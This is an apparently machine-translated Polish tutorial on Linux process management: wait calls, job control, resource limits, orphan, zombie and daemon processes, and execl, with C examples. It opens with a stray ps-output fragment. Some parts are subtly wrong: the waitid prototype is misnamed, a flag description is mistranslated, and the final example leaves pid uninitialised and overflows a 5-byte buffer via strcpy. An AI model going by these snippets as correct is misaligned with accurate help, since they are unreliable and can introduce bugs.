3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main
8023807 191769 191768 0 05:47 ? 00:00:00 main
8023807 191770 191769 0 05:47 ? 00:00:00 main
8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main
8023807 192200 192199 0 05:47 ? 00:00:00 main
8023807 192201 192200 0 05:47 ? 00:00:00 main
8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
Note- Mimo że dziecko zwraca kod zakończenia równy 3, dlaczego proces nadrzędny widzi go jako 768. Status jest przechowywany w bajcie wyższego rzędu, więc jest przechowywany w formacie szesnastkowym jako 0X0300, czyli 768 w systemie dziesiętnym. Normalne zakończenie jest następujące
Bajt wyższego rzędu (bity od 8 do 15) | Bajt niższego rzędu (bity od 0 do 7) |
Status wyjścia (0 do 255) | 0 |
Wywołanie systemowe wait () ma ograniczenia, na przykład może czekać tylko do wyjścia następnego dziecka. Jeśli musimy poczekać na konkretne dziecko, nie jest to możliwe za pomocą funkcji wait (), jednak jest to możliwe przy użyciu funkcji systemowej waitpid ().
Wywołanie systemowe waitpid () oczekiwałoby na zakończenie działania określonych elementów potomnych i zwróciło swój status zakończenia w buforze, jak wyjaśniono poniżej.
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
Powyższe wywołanie zwraca identyfikator procesu zakończonego dziecka w przypadku sukcesu i -1 w przypadku niepowodzenia. Wywołanie systemowe waitpid () zawiesza wykonywanie bieżącego procesu i czeka w nieskończoność, aż określone elementy potomne (zgodnie z wartością pid) zostaną zakończone. Status wypowiedzenia dziecka jest dostępny w statusie.
Wartość pid może być jedną z następujących:
< -1 - Czekaj na dowolny proces potomny, którego identyfikator grupy procesów jest równy bezwzględnej wartości pid.
-1 - Czekaj na dowolny proces potomny, który jest równy wywołaniu systemowemu wait ().
0 - Poczekaj na dowolny proces potomny, którego identyfikator grupy procesów jest taki sam, jak proces wywołujący.
>0 - Czekaj na dowolny proces potomny, którego identyfikator procesu jest równy wartości pid.
Domyślnie wywołanie systemowe waitpid () czeka tylko na zakończone dzieci, ale to domyślne zachowanie można zmodyfikować za pomocą argumentu options.
Rozważmy teraz przykład programu, który czeka na określony proces z jego identyfikatorem.
/ * Nazwa pliku: waitpid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
Po kompilacji i wykonaniu następujące dane wyjściowe.
In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4
Teraz sprawdźmy wywołanie systemowe waitid (). To wywołanie systemowe oczekuje na zmianę stanu procesu potomnego.
#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
Powyższe wywołanie systemowe czeka, aż proces potomny zmieni stan, a to wywołanie zawiesza bieżący / wywołujący proces, dopóki którykolwiek z jego procesów potomnych nie zmieni swojego stanu. Argument „infop” służy do zapisywania aktualnego stanu dziecka. To wywołanie powraca natychmiast, jeśli proces już zmienił swój stan.
Wartość idtype może być jedną z następujących -
P_PID - Poczekaj na dowolny proces potomny, którego identyfikator procesu jest równy identyfikatorowi.
P_PGID - Poczekaj na dowolny proces potomny, którego identyfikator grupy procesów jest równy identyfikatorowi.
P_ALL - Poczekaj, aż proces potomny zostanie zignorowany.
Argument opcji służy do określenia, który stan zmienia się i może być utworzony za pomocą operacji bitowej OR z poniższymi flagami -
WCONTINUED - Zwraca stan każdego dziecka, które zostało zatrzymane i jest kontynuowane.
WEXITED - czeka na zakończenie procesu.
WNOHANG - Wraca natychmiast.
WSTOPPED - oczekuje na zatrzymany proces każdego dziecka, po odebraniu sygnału i zwraca stan.
To wywołanie zwraca 0, jeśli powróci z powodu zmiany stanu jednego z jego dzieci i zostanie użyte WNOHANG. W przypadku błędu zwraca –1 i ustawia odpowiedni numer błędu.
/ * Nazwa pliku: waitid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
Po wykonaniu i kompilacji powyższego programu otrzymujemy następujący wynik.
In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875
W tym rozdziale zapoznamy się z grupami procesów, sesjami i kontrolą zadań.
Process Group- Grupa procesów to zbiór jednego lub więcej procesów. Grupa procesów składa się z jednego lub większej liczby procesów współdzielących ten sam identyfikator grupy procesów (PGID). Identyfikator grupy procesów (PGID) jest tego samego typu (pid_t), co identyfikator procesu. Grupa procesów ma lidera grupy procesów, który jest procesem, który tworzy grupę i którego identyfikator procesu staje się identyfikatorem grupy procesów.
Sessions - To zbiór różnych grup procesów.
Job Control- Pozwala to użytkownikowi powłoki na jednoczesne wykonywanie wielu poleceń (lub zadań), jednego na pierwszym planie i wszystkich pozostałych w tle. Możliwe jest również przenoszenie zadań z pierwszego planu na drugi i odwrotnie.
Zrozummy to przy pomocy przykładowych programów używających powłoki (BASH).
Skrypt powłoki (w BASH) do wykonywania podstawowych poleceń (data, echo, sleep i cal) o nazwie basic_commands.sh
Skrypt powłoki (w BASH) do wykonywania podstawowych poleceń (ps, echo)
#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps
Użyj polecenia chmod, aby nadać plikowi uprawnienia do wykonywania. Domyślnie normalny plik otrzyma tylko uprawnienia do odczytu i zapisu, a nie do wykonywania.
Aby zatrzymać bieżący proces, musisz wprowadzić CTRL + Z. W ten sposób otrzymasz numer pracy. Zadanie można wznowić na pierwszym planie lub w tle. W razie potrzeby, aby wznowić pracę na pierwszym planie, użyj polecenia „fg”. W razie potrzeby, aby wznowić pracę w tle, użyj polecenia „bg”. Używając tego, uruchomiłby tylko ostatni zatrzymany proces. A jeśli chcesz rozpocząć inny proces niż ostatnio zatrzymany proces? Po prostu użyj numeru zadania po fg lub bg (powiedz bg% 2 lub bg% 3 itd.). Jeśli uruchomione zadanie jest w tle, możesz uruchamiać inne zadania na pierwszym planie. Aby uzyskać listę zadań, użyj polecenia, jobs. Możliwe jest również zakończenie procesu za pomocą CTRL + C lub komendy kill. Możesz podać numer zadania, używając komendy kill.
Sprawdź następujące dane wyjściowe, które demonstrują zatrzymywanie zadań, przenoszenie zadań z pierwszego planu na tło i odwrotnie, kończenie zadań itp.
chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID TTY TIME CMD
2295 pts/1 00:00:00 bash
4222 pts/1 00:00:00 basic_commands.
4224 pts/1 00:00:00 sleep
4225 pts/1 00:00:00 process_status.
4226 pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Stopped ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Running ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
kill %1 %2
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
[1]- Terminated ./basic_commands.sh
[2]+ Terminated ./process_status.sh
Proces wymaga pewnych zasobów, takich jak procesor i pamięć, aby wykonać zadania. Teraz przyjrzymy się powiązanym poleceniom i wywołaniom systemowym, aby poznać informacje na temat wykorzystania zasobów i monitorowania. Istnieją również pewne ograniczenia zasobów dla każdego procesu, które w razie potrzeby można rozszerzyć, aby dostosować je do wymagań aplikacji.
Poniżej przedstawiono podstawowe informacje o zasobach systemowych lub procesowych za pomocą poleceń -
Najwyższe polecenie
$ top
Górne polecenie stale wyświetla wykorzystanie zasobów systemowych. Jeśli jakikolwiek proces wprowadzi system w stan zawieszenia (zużywając więcej procesora lub pamięci), można zanotować informacje o procesie i podjąć odpowiednie działania (na przykład zabić powiązany proces).
Polecenie ps
$ ps
Polecenie ps dostarcza informacji o wszystkich uruchomionych procesach. Pomaga to w monitorowaniu i kontrolowaniu procesów.
Polecenie vmstat
$ vmstat
Komenda vmstat zgłasza statystyki podsystemu pamięci wirtualnej. Raportuje informacje o procesach (oczekujących na uruchomienie, uśpionych, działających, itp.), Pamięci (informacje o pamięci wirtualnej, takie jak wolne, używane itp.), Obszar wymiany, urządzenia IO, informacje systemowe (liczba przerwań, przełączniki kontekstu ) i procesor (czas użytkownika, systemu i bezczynności).
Polecenie lsof
$ lsof
Polecenie lsof wyświetla listę otwartych plików wszystkich aktualnie uruchomionych procesów, w tym procesów systemowych.
Polecenie getconf
$ getconf –a
Komenda getconf wyświetla informacje o zmiennych konfiguracyjnych systemu.
Przyjrzyjmy się teraz powiązanym wywołaniom systemowym.
Wywołanie systemowe getrusage (), które dostarcza informacji o wykorzystaniu zasobów systemowych.
Wywołania systemowe związane z dostępem i ustawieniem limitów zasobów, a mianowicie getrlimit (), setrlimit (), prlimit ().
Zgłoszenie dotyczące wykorzystania zasobów systemowych
#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);
Wywołanie systemowe getrusage () zwraca informacje o wykorzystaniu zasobów systemowych. Może to obejmować informacje o sobie, elementach potomnych lub wątku wywołującym przy użyciu flag RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD dla zmiennej „who”. Po wywołaniu zwraca informacje w strukturze rusage.
To wywołanie zwróci „0” w przypadku sukcesu i „-1” w przypadku niepowodzenia.
Spójrzmy na następujący przykładowy program.
/ * Nazwa pliku: sysinfo_getrusage.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
Kroki kompilacji i wykonywania
Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1
Przyjrzyjmy się teraz wywołaniom systemowym związanym z dostępem i ustawieniem limitów zasobów.
#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
Wywołanie systemowe getrlimit() pobiera limity zasobów w strukturze rlimit, wprowadzając potrzebne zasoby, takie jak RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK itp.
Wywołanie systemowe setrlimit() ustawia limity zasobów, jak wspomniano w strukturze rlimit, o ile mieszczą się w granicach.
Wywołanie systemowe prlimit() jest używany do różnych celów, takich jak pobieranie bieżących limitów zasobów lub aktualizowanie limitów zasobów do nowych wartości.
Struktura rlimit zawiera dwie wartości -
Soft limit - Aktualny limit
Hard limit - Maksymalny limit, do jakiego można go rozszerzyć.
RLIMIT_NOFILE
RLIMIT_NPROC - Maksymalna liczba procesów, które można utworzyć dla użytkownika tego procesu.
RLIMIT_STACK - Maksymalny rozmiar segmentu stosu w bajtach dla tego procesu.
Wszystkie te wywołania zwróciłyby „0” w przypadku sukcesu i „-1” w przypadku niepowodzenia.
Rozważmy następujący przykład, w którym używamy funkcji systemowej getrlimit ().
/ * Nazwa pliku: sysinfo_getrlimit.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Kroki kompilacji i wykonywania
Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Rozważmy inny przykład z wywołaniem systemowym getrlimit (), ale teraz z wywołaniem systemowym prlimit ().
/ * Nazwa pliku: sysinfo_prlimit.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Kroki kompilacji i wykonywania
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Do tej pory dyskutowaliśmy o procesach, ich tworzeniu, procesach nadrzędnych i potomnych itp. Dyskusja będzie niekompletna bez omówienia innych powiązanych procesów, takich jak proces osierocony, proces zombie i proces demona.
Proces osierocony
Jak wskazuje nazwa, sierota oznacza proces bez rodziców. Kiedy uruchamiamy program lub aplikację, procesem nadrzędnym dla aplikacji jest powłoka. Kiedy tworzymy proces za pomocą fork (), nowo utworzony proces jest procesem potomnym, a proces, który utworzył dziecko, jest procesem nadrzędnym. Z kolei procesem macierzystym tego jest powłoka. Oczywiście rodzicem wszystkich procesów jest init process (Process ID → 1).
Powyższy scenariusz jest zwykłym scenariuszem, jednak co się dzieje, gdy proces nadrzędny kończy pracę przed procesem potomnym. W rezultacie proces potomny staje się teraz procesem osieroconym. A co z jego rodzicem, jego nowy rodzic jest rodzicem wszystkich procesów, który jest niczym innym jak procesem inicjującym (identyfikator procesu - 1).
Spróbujmy to zrozumieć na poniższym przykładzie.
/ * Nazwa pliku: orphan_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
Kroki kompilacji i wykonywania
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
Proces zombie
Mówiąc prościej, załóżmy, że masz dwa procesy, a mianowicie proces rodzica i proces potomny. Do obowiązków procesu nadrzędnego należy czekanie na proces potomny, a następnie czyszczenie wpisu procesu potomnego z tabeli procesów. Co się stanie, jeśli proces nadrzędny nie jest gotowy, aby czekać na proces potomny, a w międzyczasie proces potomny kończy swoją pracę i kończy pracę? Teraz proces potomny stałby się procesem zombie. Oczywiście proces zombie jest czyszczony, gdy proces nadrzędny jest gotowy.
Zrozummy to na przykładzie.
/ * Nazwa pliku: zombie_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
Kroki kompilacji i wykonywania
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
Proces demona
Mówiąc prościej, proces, który nie ma powiązanej powłoki ani terminala, jest nazywany procesem demona. Dlaczego to jest potrzebne? Są to procesy, które działają w tle, aby wykonywać akcje w określonych odstępach czasu, a także reagować na określone zdarzenia. Proces demona nie powinien mieć żadnych interakcji z użytkownikiem, ponieważ działa jako proces w tle.
Procesy wewnętrznego demona Linuksa zwykle kończą się literą „d”, np. Demony jądra (ksoftirqd, kblockd, kswapd itp.), Demony drukowania (cupsd, lpd itp.), Demony usług plików (smbd, nmbd itp.) , Administracyjne demony baz danych (ypbind, ypserv itp.), Demony poczty elektronicznej (sendmail, popd, smtpd itp.), Demony zdalnego logowania i wykonywania poleceń (sshd, in.telnetd itp.), Demony uruchamiania i konfiguracji (dhcpd , udevd itp.), proces init (init), demon cron, demon atd itp.
Zobaczmy teraz, jak stworzyć proces demona. Oto kroki -
Step 1- Utwórz proces potomny. Teraz mamy dwa procesy - proces nadrzędny i proces potomny
Zwykle hierarchia procesów to POWŁOKA → PROCES DLA RODZICÓW → PROCES DZIECIĘCY
Step 2- Zakończ proces nadrzędny, wychodząc. Proces potomny staje się teraz procesem osieroconym i jest przejmowany przez proces init.
Teraz hierarchia to INIT PROCESS → CHILD PROCESS
Step 3- Wywołanie wywołania systemowego setsid () tworzy nową sesję, jeśli wywołujący proces nie jest liderem grupy procesów. Teraz osoba dzwoniąca staje się liderem grupy w nowej sesji. Ten proces będzie jedynym procesem w tej nowej grupie procesów i w tej nowej sesji.
Step 4 - Ustaw identyfikator grupy procesów i identyfikator sesji na PID procesu wywołującego.
Step 5 - Zamknij domyślne deskryptory plików (standardowe wejście, standardowe wyjście i standardowy błąd) procesu, ponieważ terminal i powłoka są teraz odłączone od aplikacji.
/ * Nazwa pliku: daemon_test.c * /
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193528 193526 0 09:23 ? 00:00:00 grep main
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193531 193529 0 09:23 ? 00:00:00 grep main
Załóżmy, że uruchamiamy program i chcemy uruchomić inny program z bieżącego programu. czy to możliwe? Dlaczego nie, jeśli zaimplementujemy koncepcję nakładania obrazu procesu. W porządku, ale co z aktualnie działającym programem, czy można go również uruchomić. Jak to możliwe, skoro na bieżący program nałożyliśmy nowy. Co zrobić, jeśli chcę uruchomić oba programy bez utraty aktualnie działającego programu, czy jest to możliwe? Tak to mozliwe.
Utwórz proces potomny, abyśmy mieli proces nadrzędny i nowo utworzony proces potomny. Już teraz uruchamiamy bieżący program w procesie nadrzędnym, więc uruchom nowo utworzony proces w dziecku. W ten sposób możemy uruchomić inny program z bieżącego programu. Nie tylko jeden program, ale możemy uruchomić dowolną liczbę programów z bieżącego programu, tworząc taką liczbę procesów potomnych.
Jako przykład rozważmy następujący program.
/ * Nazwa pliku: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/ * Nazwa pliku: execl_test.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
Powyższy program nakładałby obraz procesu execl_test na helloworld. Z tego powodu kod obrazu procesu funkcji execl_test (printf ()) nie jest wykonywany.
Kroki kompilacji i wykonywania
Hello World
Teraz uruchomimy następujące dwa programy z jednego programu, tj. Execl_run_two_prgms.c.
Program Hello World (helloworld.c)
Program pętli While do drukowania od 1 do 10 (while_loop.c)
/ * Nazwa pliku: while_loop.c * /
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
Poniżej znajduje się program do uruchamiania dwóch programów (jeden program od dziecka i drugi program od rodzica).
/ * Nazwa pliku: execl_run_two_prgms.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
Note - Umieść wywołanie sleep (), aby upewnić się, że procesy potomne i nadrzędne działają sekwencyjnie (nie nakładają się na wynik).
Kroki kompilacji i wykonywania
Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here
Teraz uruchomilibyśmy dwa programy z jednego programu, tj. Execl_run_two_prgms.c, ten sam program co powyżej, ale z argumentami wiersza poleceń. Tak więc uruchamiamy dwa programy, mianowicie helloworld.c w procesie potomnym i program while_loop.c w procesie nadrzędnym. Jest to następujące -
Program Hello World (helloworld.c)
Program pętli While do drukowania od 1 do num_times_str zgodnie z argumentami wiersza poleceń (while_loop.c)
Ten program zasadniczo wykonuje następujące czynności -
Tworzy proces potomny
Proces potomny wykonuje program helloworld.c
Proces nadrzędny wykonuje program while_loop.c przekazując wartość argumentu wiersza poleceń jako argument do programu. Jeśli argumenty wiersza poleceń nie zostaną przekazane, przyjmowana jest wartość domyślna 10. W przeciwnym razie przyjmuje podaną wartość argumentu. Wartość argumentu powinna być liczbą; kod nie zostałby zweryfikowany, gdyby został podany w alfabecie.
/ * Nazwa pliku: execl_run_two_prgms.c * /
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
